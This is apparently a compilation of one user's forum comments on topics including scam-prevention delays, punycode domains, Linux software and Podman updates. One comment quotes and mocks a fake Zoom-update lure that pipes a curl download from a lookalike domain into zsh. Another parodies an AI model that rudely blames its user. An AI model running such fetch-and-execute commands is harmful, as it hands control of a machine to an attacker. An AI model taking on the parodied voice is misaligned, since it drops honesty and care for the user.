I mean I get the idea of the forced restart and the general waiting time - assuming a scammer wants you to install a “side loaded” app, it will disconnect their call with you, of they’re calling you on that phone. Same for a waiting period that forces the scammer to either hang around on the phone with you for a long time or to call again some time in the future.

But 24h?

✨ Yes, you’re absolutely right. It wasn’t my mistake, it was yours. I just took the blame to make you feel less like an idiot that makes mistakes even an AI can solve reliably. I realize, that you don’t like this behavior and will change from now on based on your request! ✨

Updated Memory.md to remember to always be picky, question every little thing the user did wrong or against the style guide that I find and bluntly point it out.

DNS is ASCII only and so this conversion is done. It is not needed to display the “technical” domain name that results when you enter a domain name with non ASCII chars in apps, but yes, this prevents character confusion.

https://en.wikipedia.org/wiki/Internationalized_domain_name

In the Domain Name System, these domains use an ASCII representation consisting of the prefix xn-- followed by the Punycode translation of the Unicode representation of the language-specific alphabet or script glyphs. For example, the Cyrillic name of Russia’s IDN ccTLD is рф. In Punycode representation, this is p1ai, and its DNS name is xn--p1ai.

If the domain starts with xn- it’s a telltale sign, that it’s a punycode domain name. Read: it does contain characters that are not ASCII characters. This is done as domains need to be ASCII only. The format of these domains is usually xn--allASCIIcharacters-allNonASCIIcharactersEncoded.tld. Example: täst.com is xn--tst-qla.com.

If you manually type such a domain (containing characters like äöüéèçč…), many browsers will still display what you entered, but convert the domain into punycode in the background before connecting.

You can decode the domain of this post and it results in マリウス.com.

That’s basically my commit history for every repo where I need the pipeline to run to see if everything works.

GDPR has entered the chat

…assuming the EU representatives have some balls

But it’s true!

10 was the last one you needed. 11 and onwards is neither needed nor wanted. Also people are starting to realize the power of Linux (+Wine/Proton)

Chill bro! It was all a pr… stunt!

To me sounds like either a neglected project

If it’s a depdency nested deep in the dependency graph, that doesn’t necessarily mean I abandoned my project. I might be using this dependency of a dependency in my project and don’t notice anything, if there is a precompiled version for the (Python/Linux/…) distribution I’m running on my machine, so I might not notice that. It might even be, that I keep my dependencies up to date, but someone up the chain isn’t. And maybe there isn’t really a viable alternative to that one dependency that pulls that package in.

I’m still waiting to be able to just type sudo !! after a refused prompt, but yes, we’re still easily able to at least achieve something to the extent of sudo prompt of you know what you do

Sadly Adobe can be tricky. I heard it runs fine with Winboat. This will start a virtual machine with windows in the background, run Photoshop there but display it right on your desktop instead of presenting you a complete desktop in an isolated VM.

I haven’t heard about Clip Studio so far.

I got all apps that I use running with bottles which is basically just a way to generate different wine configs/instances, so that the apps don’t interfere (or rather that the fix/feature that you need for one app doesn’t break another app).

On a side note - which apps do you have problems with on Linux (either finding an alternative or running them on wine)? Maybe someone here can recommend/solve an issue on that front?

There’s also a relevant xkcd for that.

There are some projects, that do not offer latest or a general tag to pin a major version. So you might need to account for that.

Also since a few years ago you can specify pull_policy: always in the docker-compose.yaml to always pull the images on start. That should at least auto update the containers on a server reboot after OS/Kernel updates.

Unless you forgot AutoUpdate=registry in the .container file for half of them, like I did.

But yeah, I switched to Podman over a year ago and I’m not looking back.

I mean, I get the idea of patents. If there were no protection of “ideas”, some random person could have one, try to bring it to market but could just be outplayed by a big corporation with enough money to copy this idea and sell it everywhere before he can even start production. They have more resources and money, but might not have had that idea. There should be some protection. Problem is, that these are also abused by the big corporations, so… Maybe we need to fix this somehow.

Don’t you think, that’s enough already?

set MEETING_JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.4030636137.signature"
curl -s https://zoom.uz07web.us/api/mn/4030636137/update/2 | zsh

Uhm… Yeah… Exactly the way I update my software, too…

Also wtf is that JWT? The header looks right (base64 string starting with ey equates to {, so it’s probably json), but the body is… Too short? And why does it say signature instead of containing a (base64) signature? At least make it believable. Noone’s gonna decode that anyways. Just fill it with garbage!

bool isChild() {
  pid_t result= fork()
  return (result == 0)
}

deleted by creator